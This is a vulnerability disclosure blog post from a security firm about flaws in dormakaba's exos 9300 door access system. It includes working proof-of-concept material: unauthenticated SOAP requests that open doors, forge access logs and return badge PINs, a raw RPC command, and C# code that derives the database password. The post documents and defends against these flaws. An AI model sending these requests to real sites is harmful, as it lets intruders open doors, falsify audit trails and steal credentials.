Hands-Free Lockpicking: Critical Vulnerabilities in dormakaba’s Physical Access Control System

TL;DR

In this post, Clemens Stockenreitner and Werner Schober of the SEC Consult Vulnerability Lab highlight several critical vulnerabilities found in dormakaba’s physical access control systems based on exos 9300. This access control system originates from the manufacturer's enterprise product line for door and access systems and is predominantly used by large enterprises in Europe, including industrial and service companies, logistics operators, energy providers, and airport operators. It controls access to public and restricted areas, typically in combination with key cards (RFID) or fingerprint readers. According to the manufacturer, several thousand customers were affected, a small proportion of whom operate in environments with high security requirements. 

These flaws let an attacker open arbitrary doors in numerous ways, reconfigure connected controllers and peripherals without prior authentication, and much more. This article summarizes the issues we found, resulting in more than 20 vulnerabilities, explains their potential security impact, and references practical mitigations that must be applied to fix the vulnerabilities.

Dormakaba handled the responsible disclosure process exceptionally well. Multiple patches as well as a hardening guideline are provided by the vendor. 

More details can be found in our advisories accompanying this blogpost as well as the vendor specific page:

Structure

This blogpost is split into three essential parts, which can be read independently. However, we highly recommend reading both parts to get all the nifty details and improve understanding of the whole environment and the identified vulnerabilities detailed in the second section.

The blogpost is split into the following sections:

Section 1 – Intro to Physical Access Management Systems

This part serves as a general introduction into the world of physical access management systems and their essential components. If you are already familiar with such systems, you may skip this background section and proceed directly to the findings in section 2.

Section 2 – Vulnerabilities

The second part, which is more technical, focuses on the many vulnerabilities we discovered, some of which are highly critical. These issues span across the hardware, firmware, and software of dormakaba exos 9300, a widely used physical access control system.

Section 3 – Prerequisites, Mitigations, and Disclosure

The last section covers the prerequisites required to exploit each vulnerability (including a per-finding prerequisites overview). We discuss how different deployment and network conditions influence real-world exploitability, e.g. via 3rd party devices, guest zones or other environment misconfigurations. In the worst case, certain devices may be accessible and exploitable directly over the Internet. Further, we provide the recommended solution, detail the affected hardware and software, and summarize the responsible disclosure timeline.

Motivation

In the realm of cybersecurity and penetration testing, there exists a well-known correlation between the complexity and acquisition costs of a system and the likelihood of vulnerabilities being identified. More sophisticated and costly systems, whether due to technical complexity or significant resource requirements for acquisition and testing, often face fewer penetration tests and (free) security research. This is partly due to the entry barriers such systems present to security researchers and testers, such as requiring more specialized knowledge, greater time investment, or substantial financial outlay to access. As a result, these systems may remain under-tested in comparison to their less complex counterparts, potentially harboring unaddressed security risks. 

After more than 20 years of responsible disclosure, vulnerability research and hundreds of advisories, we as SEC Consult can clearly state that some of the most interesting research topics covered systems that are either too costly to simply buy them out-of-pocket, extremely complicated to setup for testing without the help of the manufacturer, or simply impossible to buy for end users as an evaluation system at all. Furthermore, even used components bought at online marketplaces are often useless as they mostly require licensed server software or activation keys to run. 

Subsequently, for research purposes, we at SEC Consult try to get our hands on as many sophisticated systems as possible for multiple reasons:

  • Only a very low amount of research has been conducted.
  • Most of the time the impact is enormous.
  • It’s way more fun to conduct research on a critical piece of hardware than finding the next XSS ;)
  • Most importantly, after responsible disclosure and vulnerability remediation a very sophisticated and potentially critical system for other companies is more secure!

Due to a lucky circumstance, we had the chance to get our hands on a system that is in many instances used to secure critical infrastructure and highly secure areas. The system is too expensive to buy for quick research, and the software, licenses, hardware and servers are typically not available for regular people and researchers.

Today we take a deep dive into the world of physical access control systems with a focus on dormakaba products.

Section 1 – Introduction to Physical Access Control Systems and Test Setup

Physical access control systems (PACS) are crucial for securing sensitive areas, from corporate offices and data centers to airports and power plants, ensuring that only authorized individuals can gain entry. These systems, ranging from key cards and biometric scanners to more advanced solutions, have become the backbone of modern security infrastructure. However, despite their widespread use, one major limitation remains:
The difficulty of acquiring these devices for research and security testing.

Whereas many software products can be obtained and analyzed via public downloads, repositories, or trial images, physical access control systems most of the time cannot be purchased through general retail channels. As a result, security researchers face major hurdles when trying to assess such products. Without access to the devices themselves, researchers are forced to rely on alternative methods, often including reverse engineering of bits of public data, exploitation of weakly documented implementations in running live systems, or obtaining systems through less conventional means.

This limited availability hampers the ability to identify flaws before they are exploited in the wild, ultimately leaving critical infrastructures potentially vulnerable. 

A lucky coincidence – how we got our hands on a full-fledged “test system”

It’s the year 2017 – SEC Consult is growing a lot. We were planning to move from our small office in Vienna to a brand new one. We were the first occupants in our new office, and we decided by ourselves in 2017 which physical access control system will be built into the new building that was currently under construction. After an evaluation phase we opted for a dormakaba exos system, for multiple reasons we are not going to detail here.

Fast forward to 2023 – Growth continued, which made it necessary to move to an even bigger office. In 2023 we moved from our “new” office to a “bigger” office. This led to the fact that the physical access control system from our now “old” office was not in use anymore. During our annual research planning we realized it was a perfect chance to examine the dormakaba exos system that remained installed in our former office. We had everything ready to use from software, hardware, server access, electronic locks and biometric terminal. With no productive use for it anymore, we started to disassemble the system and built it up again as a test environment. From here on, we were able to start with hands-on testing.

Design of Physical Access Control Systems

Before going into the research details, we want to give a brief overview of how many typical physical access control systems look like. This applies to almost all systems and manufacturers regardless of their company size. A physical access control system is designed to regulate and monitor access to physical spaces within a building or facility. It typically involves both hardware and software components working together to ensure security. The system is responsible for verifying the identity of individuals attempting to access restricted areas, managing permissions, and maintaining logs of access events.

Management Software

The management software serves as the central platform for configuring, monitoring, and controlling the access control system. It allows administrators to set up users, manage devices, and configure security policies. Typically, this software is installed on a central server and is accessible via a web interface, a dedicated application, or in some instances in the cloud.

User Enrollment and Permission Management Software

User enrollment is how the system manages user accounts and credentials. Creating profiles, assigning badges or permissions, updating access rights, and revoking access when needed. Each user profile typically contains personal details, access credentials (e.g., RFID cards or biometric templates), and their assigned permissions. User profiles are updated in real-time, ensuring that security policies reflect any changes, such as when an employee joins or leaves the organization.

Permission management is closely linked to the user enrollment process and defines which areas a user can access at what time and day. It can include

  • Access Groups: Users can be grouped based on roles or departments, with each group assigned specific access rights.

  • Time-Based Access: Access permissions can be restricted to certain hours or days.

  • Event Logging: Monitoring and auditing features ensure all access attempts are logged for future review.

 

RFID Readers

RFID (Radio Frequency Identification) readers are widely used for physical access control. Users carry RFID-enabled badges or fobs that communicate with the reader when presented. The reader in many cases only captures the unique ID embedded in the card, which is verified by the system to grant or deny access. In other cases, a challenge-response procedure is responsible for authentication between card and reader. RFID systems are fast, easy to use, and cost-effective for many access control scenarios.

Biometric Readers

Biometric systems add an extra layer of security by using unique physical characteristics to verify identity. Common biometric methods include fingerprint recognition, facial recognition, iris scanning, and palm print recognition. Used as a 2FA method, biometrics can improve the security of an access control system.

Access Controllers

Access controllers are the central hardware components responsible for managing access to entry points. These controllers are typically installed near doors or gates and interact with devices such as RFID readers, biometrics and (offline) locks. The access controller validates the access request, checks the user’s permissions, and sends signals to unlock the door or deny access. Controllers also provide logging and event monitoring features, allowing security teams to track access attempts and audit user activity. They can either be connected to a central server or operate autonomously, depending on the system design. Based on the nature of those devices, it is very important that they are installed in the area to be secured and not on the outside and unsecured zone.

Offline Locks

Offline locks are locks that operate without a continuous network connection to the central access control system. These locks typically use local memory and work based on predefined access credentials (RFID cards, PINs, fingerprint, etc.) stored directly on the lock or in a nearby access controller. Offline locks are ideal for remote locations or areas where network connectivity may be unreliable. When a user presents a badge or PIN, the offline lock checks the credential against its stored database and grants or denies access based on assigned permissions. Event logs for offline locks are often synchronized with the central system once network connectivity is restored, ensuring that logs remain consistent across the system.

The network layer of an access control system connects the hardware components (controllers, biometrics, etc.) and the management software, enabling real-time communication, updates, and security monitoring.

Zones are logical groupings of physical areas within the building or property. A zone may encompass a department, a secure storage room, or a critical infrastructure area. The system will control access to these zones based on user permissions, time-based policies, and event triggers. Zones can be configured for varying levels of security based on the sensitivity of the area.

Outside Zone (Perimeter Layer)

The outside layer of the access control system refers to access points that control entry to the building or site. This may include gates, fences, and turnstiles equipped with readers or biometric devices. Oftentimes, physical access control systems ensure that only authorized personnel can access the property.

Inside Zone (Building Layer)

The inside zone includes controlled access to various areas within the building. This is where systems enforce more granular security, such as restricting access to certain floors, rooms, or equipment areas. Inside zones often utilize RFID readers, biometrics, and other verification methods to ensure that only authorized individuals can enter these specific locations.

Test Setup & System overview

To completely understand the terms used in the following chapter detailing the vulnerabilities, it is important to understand which components were in scope of our assessment. Therefore, we now move on from the generic introduction of PACS to the actual components assessed.

The following images show the assessed test system with all its components as well as a diagram depicting the general structure of the environment in scope.

Figure 3: exos Logo

dormakaba exos 9300

The central management software exos 9300 is dormakaba’s access control solution for corporate use and large enterprises. Exos 9300 runs on Windows Server and is largely written in C#. The main component launched at start is a cockpit containing all licensed modules. A click on a module launches a different executable (UI and UX varies from older to newer modules here). As this kind of implementation (cockpit) is quite outdated, dormakaba is currently working on moving to a web app-based solution that is already partially implemented. All relevant data is stored in an MSSQL database. 

Type: Management Software / Product Page: dormakaba.com

Figure 1 and 2 show the assessed test system with all its components as well as a diagram depicting the general structure of the environment in scope.

Dormakaba Access Manager

The dormakaba access manager is one of the central components in such environments and available in multiple variants. The following are in scope of this blog post.

Type Major Firmware Version Minor Firmware Version Base
9200-k5 XAMB 03.03.016 RA Windows CE Embedded
9200-k5 XAMB 04.06.189 RA Windows CE Embedded
9200-k7 BAME 05.00.073 RA Linux
9200-k7 BAME 05.01.088 RA Linux
Figure 8: Typical dormakaba access manager case

From an I/O perspective, the two different types are very similar. Both are equipped with multiple relays, RS232, RS485, antenna inputs, RJ45 Ethernet and power in/out. The access managers are typically located in physical proximity to the doors controlled by the access manager. In theory, it is a requirement by dormakaba that the access manager should always be located inside the “secured” area and not on the outside, for obvious reasons. Often access managers are put into branded boxes.

Additional to the RS232 and RS485 interfaces mentioned, both hardware revisions of the access manager (9200-k5 and 9200-k7) serve two web servers which are used to configure or control the access manager. The first web server runs on port 80 or 443 and provides simple functionality to, e.g., locally change settings or reboot the device. The second webserver is listening on port 8002 and provides a SOAP API. Over this API, the access manager is able to receive commands to release an electronic lock or to push a new configuration from the central exos management server onto the connected access managers via the network.

Figure 9: Access manager 92 30
Figure 10: Access manager 92 90

Another important component of the access manager is an SQLite database stored locally on the device. This database contains the password of the device’s local administrative user, stored card IDs, the set PINs (in case a PIN as second factor for authentication is in use), as also the whole configuration. It can be exported and downloaded via the web interface on port 80/443.

Further, there is a trace service running on port 4502. Additionally, dormakaba provides a TraceClient.exe program, which connects to the trace service and receives debug information sent by the access manager. This includes version information and authentication attempts among other verbose information.

We also noticed an interesting design decision. The older hardware revision (9200-k5) is based on Windows CE Embedded and multiple C# binaries and libraries. In recent years a newer hardware revision (9200-k7) has been released. This revision is based on more up-to-date hardware components and a Linux operating system. During our assessment we noticed that almost all components from Windows CE were transferred over to the Linux version and are now run via Mono (a software framework that enables the execution of Windows .NET binaries on Linux). This includes the highly outdated webserver that was originally implemented as a demo application for Windows CE and published on GitHub by a random citizen of the internet. 

Besides the access manager 9200 in our test setup, there are various hardware revisions available, which are all affected by the same vulnerabilities. In this blog post, the different hardware revisions are marked as 92xx. The xx can be replaced with 00, 30 and 90.

Type: Access Controller / Product Page: dormakaba.com 

Dormakaba Registration Unit 90 01

The dormakaba registration unit 90 01 is the interface between the badge and access manager and is usually mounted directly beside the doorframe. The registration unit basically acts as antenna and relays the authentication information of the presented chip card to the access manager via a coaxial cable. The neat part of this design is that no authentication or authorization checks are performed on the reader itself when coax is in use. However, when communication between the card reader and access manager is configured to use RS485, the reader is actively involved in the authorization checks. The card reader supports the common RFID cards, DESFire and LEGIC advant.

Type: RFID Card Reader / Product Page: dormakaba.com

Dormakaba Registration Unit 90 02

The dormakaba registration unit 90 02 does not only act as card reader but also contains a keypad. The entered numbers are directly relayed to the dormakaba access manager for verification via coaxial cable. This functionality can be used as a second factor for authentication and authorization checks, to disable an alarm, or open the door to a secure area via an electronic door lock.

Type: RFID Card Reader + PIN Pad / Product Page: dormakaba.com 

Addressing Scheme

Dormakaba uses a proprietary addressing scheme to address all devices in the exos environment. The addressing scheme is documented in detail in the official dormakaba documentation. An overview is displayed in the following table.

Figure 15: dormakaba Addressing Scheme

An exemplary and typical address looks as follows for an access manager: 

I0100010101

Remember the addressing scheme. This will play a major role in this blogpost and will be referenced multiple times.

Section 2 – Vulnerabilities

Goal

When it comes to IT security research it might be a good idea to set a goal before starting with the project itself. Especially during the security research, it is very easy to drift away from the original idea by going down a multitude of rabbit holes. For that reason, a clear and concise research goal is essential. Based on the nature of the system in scope our goal was quite clear:

“Can vulnerabilities in the dormakaba physical access control system’s software, hardware, or firmware be exploited to gain unauthorized access to areas controlled by dormakaba exos 9300 and access managers?”

To our own surprise, we successfully achieved our ambitious testing goal shortly after defining it. While working toward the primary objective, we also identified several additional vulnerabilities, all of which will be described later in this blog as well in our referenced technical advisories.

Analyzing the Attack Surface

The following section breaks down the most important services exposed by dormakaba exos 9300 and those by the access managers, followed by vulnerabilities we identified. We will also describe how we were able to open all doors connected to the physical access control system.

Exos 9300

We started with a comprehensive port scan of the exos 9300 server, which resulted in the following identified ports of interest.

Port 1005/TCP – Datapoint Server

On port 1005, a Datapoint Server is listening. According to our understanding, this service is used by exos and the connected access managers to exchange status information about which doors are currently open or closed, which alarms are currently triggered, and so on. This information is then visualized in the exos 9300 graphics application, allowing security personnel to monitor access and alarms. 

Port 4000/TCP – FSMobilePhoneInterface

On this port we received traffic we were not able to interpret. At first glance it looked like some kind of TCP traffic exchanging status information between exos and the access managers. This service was analyzed to some extent later in this blogpost by reverse engineering the application binary FSMobilePhoneInterface.exe listening on this port. 

Port 8002/TCP – exos 9300 SOAP API 

The exos 9300 service exposes port 8002, on which a SOAP API is provided. During our research we unfortunately were not able to dig as deeply as we would have liked into the capabilities of this API due to time constraints. However, lots of information about the exos setup can be queried via this API. We will discuss some of its capabilities and the security issues affecting this API a little later.

Figure 16: Blog Post about the Compact Web Server from 2007.

Access Manager

While analyzing the dormakaba access manager, we noticed that there are many interesting ports exposed. During our analysis, we identified the following noteworthy services.

Port 80/TCP – Web Server

The webserver is based on the open-source webserver CompactWebServer that was released as a demo implementation more than 18 years ago on GitHub. The last official commit is also about 9 years old. The server is based on C# and was initially built as a sample implementation for demonstration purposes, which is not ready for production use. The original website does not exist anymore but can still be viewed using the Wayback Machine. The webserver is optimized for Windows CE Embedded. The webserver is implemented in the DLL Kaba.Idmm.Webserver.dll and is based on the very old demo implementation developed many years ago.

Port 4502/TCP – Trace Client Broadcast

The service running on port 4502 is a simple TCP socket that is broadcasting debug messages. The content of the messages is derived from the trace level that can either be set if authenticated in the web application listening on port 80, or also by identifier. The second mentioned method allows anyone to set the trace level simply by knowing the identifier of the access manager, which can be derived easily as the format is well known.

Port 8002/TCP – SOAP API

This service is going to be the focus of our first way to open doors. On port 8002 a SOAP service is listening, waiting to receive SOAP envelopes from an exos 9300 server (Remember: This is the central application used to configure and control access managers). As the exos 9300 application can not only configure but also control access managers, we thought that this might also be done via the SOAP API. During our research we noticed that the device configuration of the access manager is conducted via SOAP – for instance, actions such as updating the password of the administrative web user are executed via SOAP calls. This showed us that this API has huge potential and is the ideal target from an attacker's perspective.

Other identified ports that were not further analyzed:

  • 943/TCP
  • 1801/TCP
  • 4505/TCP
  • 6510/TCP

Now that we have given a brief introduction which interesting services are exposed by the exos 9300 server and the access manager, we can now continue with details on the identified vulnerabilities and how to exploit them. We start with the most interesting scenario: Opening arbitrary doors.

Identified Vulnerabilities

Opening Doors v1 – SOAP API (CVE-2025-59097)

The first interesting service that caught our attention was the SOAP API running on port 8002 on the access managers. After observing the network traffic between our access manager and the exos server using Wireshark, the first thing we noticed was that exos, the central management server, pushes the device configuration via SOAP to the access manager. But that’s not all. We manually executed the action “Release door once” in the exos 9300 fat client for a specific door attached to the access manager in our demo installation. The relay clicked, the door opened and the observed traffic in Wireshark showed the following SOAP message which immediately caught our attention.

POST /ICommunicationHub2IDMMService HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8; action="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService/ICommunicationHub2IdmmService/ExecutePassagewayCommand"
Host: <Access Manager IP>:8002
Content-Length: 291
Accept-Encoding: gzip, deflate
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
	<s:Body>
		<ExecutePassagewayCommand xmlns="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService">
			<identifier>I010001</identifier>
			<datapointId>1</datapointId>
			<command>1</command>
		</ExecutePassagewayCommand>
	</s:Body>
</s:Envelope>

We replayed the message using Burp from another client in the same network and BOOM the relay clicked again. Let’s repeat that:

  • There is a SOAP API.
  • The content is sent in plain text.
  • The API calls are sent without authentication.
  • The SOAP API is responsible for critical functionality like opening doors and configuring access managers.

This is the worst case scenario for a physical access control system. Let’s break down the SOAP message to get a better understanding of the message content:

  • ExecutePassagewayCommand - A subset of available commands specifically for access managers
  • Identifier - The identifier of the device to be controlled (details about the message format can be found in chapter Addressing Scheme). The identifier is predictable and can be guessed or enumerated easily.
  • datapointId - The key of a key/value pair to be changed
  • command - Value to be set for the datapoint ID (1 = “release once”)

An attacker is now able to repeat the above SOAP request directly to any access manager to open doors or switch relays connected to the access manager addressed. The only two prerequisites are network access, which we will talk about later on how to achieve that as well as the identifier which has a defined pattern that can be guessed with ease or even brute forced. 

The following video shows how easy it is to open a door just by sending the right SOAP message.

Proof of concept video of unlocking a relay / door

Figure 17: Proof of concept video at YouTube

Opening Doors v2 – Legacy Accounts (CVE-2025-59091)

After identifying a way to release doors via direct communication to the access managers, we were also interested to see if similar issues exist in the central exos 9300 server. Naturally, we started reverse engineering the C# executables and DLLs belonging to the exos server. Two binaries specifically caught our attention: Kaba.Exos.Domain.Logging.dll and r9DpServer.exe. Both of those binaries contain hardcoded credentials for five different users whose usage was unclear at the beginning. Within the code, the users were called LegacySystemUsers. In addition to the usernames and passwords, the binary r9DpServer.exe also contained what is called a “DPServerConnectionString” in the decompiled source code. This connection string revealed that a login request is sent in the following format:

<Login UserName="ExosSysOps" Password="x£<redacted>??" />
Figure 18: Datapoint Server Sample Visualization

Simultaneously, we observed all incoming and outgoing network traffic on the exos server and noticed TCP traffic which contained this exact connection string being sent in plain text to port 1005, UTF-16LE encoded. This also showed that despite the accounts being called LegacySystemUsers, they are still actively in use by the exos server and fat client application. 

As it turned out later, the users are used by the Datapoint Server, which provides the visualization of an entire office building and all doors controlled via exos. This enables, for example, the security personnel to see which doors are currently open, or to remotely open them by themselves if necessary.

Additionally, we observed in Wireshark that sometimes the messages can even contain commands. After executing the action to open the door via the graphical Datapoint interface, we observed the following command being sent, also in plain text. 

<Dp Address="I01000101" Type="DR" Command=1 />

The Dp Address specifies which door should be opened, using the addressing scheme already described. Type=”DR” specifies that this is a “Door” command and Command=1, according to our observations, means “Release door once”.

This was everything we needed to build a functioning proof of concept to open doors using the hardcoded accounts. It was possible to open arbitrary doors by simply specifying the identifier in a developed PoC python script. Running this script, the user ExosSysOps logs into the Datapoint Service on the exos server and sends a “Release door once” command. Immediately, the relay on the connected access manager audibly clicked and the connected door opened. Again, the only prerequisite is network access and knowledge about the identifier of the access manager. 

Figure 19: Wayback Machine snapshot displaying the website of mohito.biz

Opening Doors v3 – RPC (CVE-2025-59092)

On TCP port 4000 we observed an RPC service listening and communicating in irregular intervals. The port is exposed by the binary SMobilePhoneInterface.exe running on the exos 9300 server. After analyzing the binary, we observed that it is used for a service called SecLoc Mohito. There is only very few information available about this product. After a little bit of research, we tracked it down to a Java based solution for Symbian phones. The product allows Symbian users to open doors with their phones, which was a pretty insane feature more than 20 years ago. 

Figures 19 to 21 include screenshots from the Wayback Machine as well as a PDF identified describing the product. 

Sources: 

Based on the review of the SMobilePhoneInterface.exe binary, we quickly identified how to communicate with the RPC service. The service does not require any prior authentication. The communication is done via RPC objects. To change the status of the door with the identifier I01000101, the following object can be sent using any tool or script (e.g., ncat).

ncat -v <exos IP> 4000
<RPC OBJ="+7+26+<redacted>+0+3+9#I01000101+<redacted>">

The RPC object, however, does not open the door, only the current status in the exos 9300 client is changed to “open”. After a discussion with dormakaba during the responsible disclosure process, it was revealed that the RPC objects can also be used to open doors (and much more), as this is the main purpose of SecLoc Mohito. All of this without authentication. Due to time constraints and the fact that this service is highly outdated no further time was invested on this attack path.

According to dormakaba, the SecLoc Mohito service we were able to exploit in this vulnerability to open doors was implemented many years ago and is now of primarily historical interest. After an internal analysis of dormakaba, the license needed to use this feature is very rarely used. The features will be removed completely in the future. In the meantime, the RPC ports shouldn’t be exposed to the network. The only prerequisite is network access to the exos 9300 server and knowledge about the identifier of the access manager.

The solution to all problems?

The issue regarding the SOAP API was controversially discussed in the many meetings we had with dormakaba. We received the following statements in this order:

  • The SOAP API cannot be removed as it is an essential part of the exos environment with roots in many other devices, firmware and software elements.
  • TLS will be implemented in a future firmware update → We added as an input that TLS does not fix the issue, we can simply connect via TLS to the SOAP API and conduct the same attack.
  • We receive an update stating that mutual TLS (mTLS) will be implemented so that the access manager and exos 9300 authenticate each other via TLS. This would be sufficient to fix the issue and avoid arbitrary control of an access manager.
  • We receive another update stating that mTLS is already available and there was an error in the communication beforehand.
  • We receive yet another update stating that mTLS will only be available for the newer hardware generations (k7) as the older hardware (k5) has not enough resources for mTLS operations.
  • We are informed that dormakaba is working on a feature to use a built-in CA with the option for a customer CA if needed. Certificates will be deployed automatically if the built-in CA is used.

During our research we got our hands on a setup that had mTLS enabled and were able to verify the statements made by dormakaba. The initially identified SOAP API vulnerability, which allowed an unauthenticated attacker with network-level access to open doors, has been resolved. Nevertheless, we have some remarks about the mTLS implementation which we want to share.

Remarks on mTLS

When mTLS is activated on both the access manager and the exos 9300 fat client, the central SOAP API on the access manager is exclusively accessible through an mTLS secured connection. This secure connection relies solely on the certificates being signed by a trusted Certificate Authority. Other certificate attributes, such as the common name, are not validated. This presents two potential pitfalls which should be kept in mind when configuring the use of mTLS:

  • One compromised dormakaba access manager, equipped with a valid mTLS certificate, is able to access and control all other access managers within the same network. This allows it to control all doors within the whole building, depending on the network segmentation. In theory, only the central exos 9300 should be able to talk to an access manager. The current implementation does not enforce this restriction and an mTLS connection can be established between all access managers.
  • When using a default Root CA, like from the company’s ADCS server, every domain-joined machine account of the company possesses a valid certificate. This can be used for communicating with the access managers secured SOAP API, as those are signed by the same trusted CA.

Therefore, we would highly recommend using a separate CA for the access manager communication, taking place between exos 9300 and the access managers. After sharing our concerns regarding this issue with dormakaba, it was stated that the implementation of the certificate validation might be improved in a future release.

But Wait, There’s More…

During our journey to open doors, we decompiled hundreds of DLLs, searched through thousands of lines of code, unpacked multiple firmware versions, and disassembled multiple access managers and PIN pads. In addition to the flaws that let us open doors, we uncovered several other vulnerabilities – all of which are documented in the following paragraphs and our technical advisories:

Exos 9300 Vulnerabilities

The following chapters cover all issues identified in the central management application exos 9300, presented in no particular order.

Unauthenticated SOAP API (CVE-2025-59090)

Apart from controlling doors and centrally managing access permissions, access control systems like dormakaba exos fulfill another crucial purpose. They need to retain comprehensive and accurate logs, allowing it to precisely trace who entered which room at which time. Dormakaba exos itself contains the module “Access logbook” which shows all successful and failed authentication attempts. In the course of our research, we identified that a SOAP API, very similar to the API running on the access managers, is also running on the exos 9300 server on port 8002. This API also does not make use of authentication and, for example, allows forging arbitrary log entries via a simple HTTP POST request. When sending the POST request below, a new log entry is created in the Access logbook. The identifier specifies which door has been opened, the badge ID identifies who opened the door, and the event ID specifies how the door has been opened (e.g., access authorized with biometrics; access authorized with badge, etc.). Additionally, the date can be set to an arbitrary value in the future or the past, allowing it to create forged access logs which do not represent reality.

POST /IIdmm2CommunicationHubService HTTP/1.1
Host: <exos IP>:8002
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; 
action="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubServic
e/SetAccessEvent"
Content-Length: 984
Connection: keep-alive
SOAPAction: 
"http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/SetAc
cessEvent"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
 xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:arr="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
 xmlns:ns2="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService"
 xmlns:ns1="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService">
 <SOAP-ENV:Body>
 <ns1:SetAccessEvent>
 <ns1:identifier>I010001</ns1:identifier>
 <ns1:accessEvent>
 <ns1:BadgeNr>00000000000000001337</ns1:BadgeNr>
 <ns1:DeviceStatus>1</ns1:DeviceStatus>
 <ns1:EventId>10</ns1:EventId>
 <ns1:LogDate>2026-01-01T11:11:11.1337000</ns1:LogDate>
 <ns1:RegistrationUnitIndex>4</ns1:RegistrationUnitIndex>
 <ns1:SiteKeyIndex>0</ns1:SiteKeyIndex>
 <ns1:TransactionNumber>0</ns1:TransactionNumber>
 <ns1:Vardat></ns1:Vardat>
 </ns1:accessEvent>
 </ns1:SetAccessEvent>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The SOAP API then returns 200 OK, including the message <GetAuthorizationResult>0</GetAuthorizationResult> indicating that the log entry has been persistently written to the logbook.

The exos API has not been tested in great detail during the research project because of time constraints. However, we also identified an endpoint which allowed an unauthorized attacker to access information about enrolled chip cards. Since the dormakaba products also feature a hardware PIN pad, it is also possible to set a PIN which serves as a second factor in addition to the badge. Those set PINs can also be retrieved without prior authentication via the SOAP API. This can be done by sending the following POST request, containing just a card ID and a valid access manager identifier.

POST /IIdmm2CommunicationHubService HTTP/1.1
Host: <exos IP>:8002
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; 
action="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/GetPerson"
Content-Length: 689
Connection: keep-alive
SOAPAction: "http://kbr.kaba.ch/services/IIdmm2CommunicationHubService/IIdmm2CommunicationHubService/GetPerson"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
 xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:arr="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
 xmlns:ns2="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService"
 xmlns:ns1="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService">
 <SOAP-ENV:Body>
 <ns1:GetPerson>
 <ns1:identifier>I010001</ns1:identifier>
 <ns1:SiteKeyIndex>0</ns1:SiteKeyIndex>
 <ns1:cid>00000000000000001337</ns1:cid>
 </ns1:GetPerson>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The response contains the access permissions of the card, as well as the PIN set as second factor in plain text.

HTTP/1.1 200 OK
Content-Length: 1019
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Tue, 01 Jan 2026 11:11:11 GMT
<s:Envelope
 xmlns:s="http://www.w3.org/2003/05/soap-envelope">
 <s:Body>
 <GetPersonResponse
 xmlns="http://kbr.kaba.ch/services/IIdmm2CommunicationHubService">
 <GetPersonResult>0</GetPersonResult>
 <card
 xmlns:a="http://kbr.kaba.ch/services/ICommunicationHub2IdmmService"
 xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
 <a:AccessRights>
[…]
 </a:AccessRights>
 <a:BadgeNr>00000000000000001337</a:BadgeNr>
 <a:PinCode>1234</a:PinCode>
 <a:SiteKeyIndex>0</a:SiteKeyIndex>
 </card>
 </GetPersonResponse>
 </s:Body>
</s:Envelope>

During our observations, the badge numbers all followed a very similar pattern with short, incremented IDs. Hence, this endpoint can be used to enumerate valid badge numbers and all corresponding PINs by incrementing the badge number within the request.

This vulnerability applies to the following exos 9300 version:

  • Kaba exos 9300: <4.4.0 (manual mitigation necessary with prior version. Review dormakaba’s dedicated advisory page)

Insecure Password Derivation Function for Database Administrator (CVE-2025-59093)

One essential component of the exos 9300 server is an MSSQL instance containing all information about users, badges, access permissions, PINs and so on. Due to the architecture of the exos 9300 client application, the credentials used by the application to access the database are stored on the server. Reverse engineering the exos 9300 client application revealed that a database user Exos9300Common is configured and its password is generated during the initial installation of the exos software in a deterministic way, solely relying on security by obscurity. The password generation function constructs the password by combining the following elements:

  • Multiple static strings
  • The system's hostname
  • A value retrieved from the Windows Registry
  • Followed by calculating the MD5 hash of the concatenated data
  • And finally prepending another static string to the hash

This method does not incorporate any cryptographically secure randomization, making the output highly predictable once the generation logic is known.

The following code snippet shows how the database password of the user Exos9300Common is generated.

string dataBaseCode = "XXXX";	//Can be read by every user from the registry SOFTWARE\Kaba\Exos9300\DatabaseCode
string hostname = Environment.MachineName;	//System hostname, accessible by every user
string s = "ztr__4O0!" + hostname + Reverse(dataBaseCode).Substring(0, 28) + "$$S_2w";
byte[] bytes = Encoding.Default.GetBytes(s);
byte[] array;
using (HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider()) {
 array = hashAlgorithm.ComputeHash(bytes);
}
String serverUserPassword = "kZ_0" + BitConverter.ToString(array).Replace("-", 
string.Empty).Substring(0, 26).ToLower();
Console.WriteLine(serverUserPassword);
Console.ReadLine();
static string Reverse(string text) {
 char[] array = text.ToCharArray();
 Array.Reverse((Array)array);
 return new string(array);
}

 

Figure 22: Password generator for exos 9300 database passwords

Knowing the algorithm, it is easily possible to calculate the password. However, local access to the exos server is necessary to gather the per-installation random value stored in the registry. A simple script was created to derive any exos9300Common database user password.

After calculating the password, an attacker can log into the database with the username Exos9300Common and the calculated password.

Figure 23: Privilege Escalation via Automatic Program starts
Figure 24: Successfully elevated privileges to SYSTEM

Local Privilege Escalation in exos 9300 System management (CVE-2025-59094)

